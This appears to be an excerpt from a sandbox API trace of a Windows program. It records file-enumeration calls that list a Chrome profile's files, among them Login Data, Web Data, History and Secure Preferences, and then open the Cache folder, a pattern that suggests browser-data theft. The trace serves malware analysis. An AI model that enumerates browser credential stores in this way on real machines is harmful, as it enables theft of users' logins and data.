	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~3")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~2")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80db2b00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80e97340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons-journal", cAlternateFileName="FAVICO~1")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81c321d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81c321d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81c58330, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Profile.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802fc800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802fc800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87f47590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824d3190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824d3190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c3b6860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x0, cFileName="History Provider Cache", cAlternateFileName="HISTOR~2")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802fc800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802fc800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87f6d6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History-journal", cAlternateFileName="HISTOR~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIcons", cAlternateFileName="JUMPLI~2")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIconsOld", cAlternateFileName="JUMPLI~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Extension Settings", cAlternateFileName="LOCALE~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Storage", cAlternateFileName="LOCALS~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data", cAlternateFileName="LOGIND~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8129b860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data-journal", cAlternateFileName="LOGIND~2")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82330270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82330270, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x825f0410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor", cAlternateFileName="NETWOR~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82330270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82330270, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8262ad90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor-journal", cAlternateFileName="NETWOR~2")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86263d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86263d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86263d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Persistent State", cAlternateFileName="NETWOR~3")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81d16a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81d16a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x94034050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs", cAlternateFileName="ORIGIN~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81d16a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81d16a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9405a1b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs-journal", cAlternateFileName="ORIGIN~2")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c43f3e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c446910, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferences", cAlternateFileName="PREFER~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8dea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8dea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8129b860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db", cAlternateFileName="PREVIE~1.DB")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x804795c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x804795c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x812c19c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db-journal", cAlternateFileName="PREVIE~1.DB-")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x869fc2d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager", cAlternateFileName="QUOTAM~1")) returned 1
	[0066.251] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager-journal", cAlternateFileName="QUOTAM~2")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f846500, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f846500, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="README", cAlternateFileName="")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c3f38f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c404a60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8b43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Secure Preferences", cAlternateFileName="SECURE~1")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8218d350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8218d350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82271b90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts", cAlternateFileName="SHORTC~1")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8218d350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8218d350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x822e3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts-journal", cAlternateFileName="SHORTC~2")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Extension Settings", cAlternateFileName="SYNCEX~1")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8195e7b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites", cAlternateFileName="TOPSIT~1")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d8c9a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d8c9a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81984910, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites-journal", cAlternateFileName="TOPSIT~2")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88c2e920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x88c2e920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x88c2e920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="TransportSecurity", cAlternateFileName="TRANSP~1")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80ee3600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80ee3600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6cde50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visited Links", cAlternateFileName="VISITE~1")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Applications", cAlternateFileName="WEBAPP~1")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f86c660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f86c660, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82d370c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data", cAlternateFileName="WEBDAT~1")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f86c660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f86c660, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82d608d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data-journal", cAlternateFileName="WEBDAT~2")) returned 1
	[0066.252] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.252] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache"), fInfoLevelId=0x0, lpFileInformation=0x127b22d8 | out: lpFileInformation=0x127b22d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.255] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.255] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.255] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.255] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0", cAlternateFileName="")) returned 1
	[0066.255] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1", cAlternateFileName="")) returned 1
	[0066.255] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2", cAlternateFileName="")) returned 1
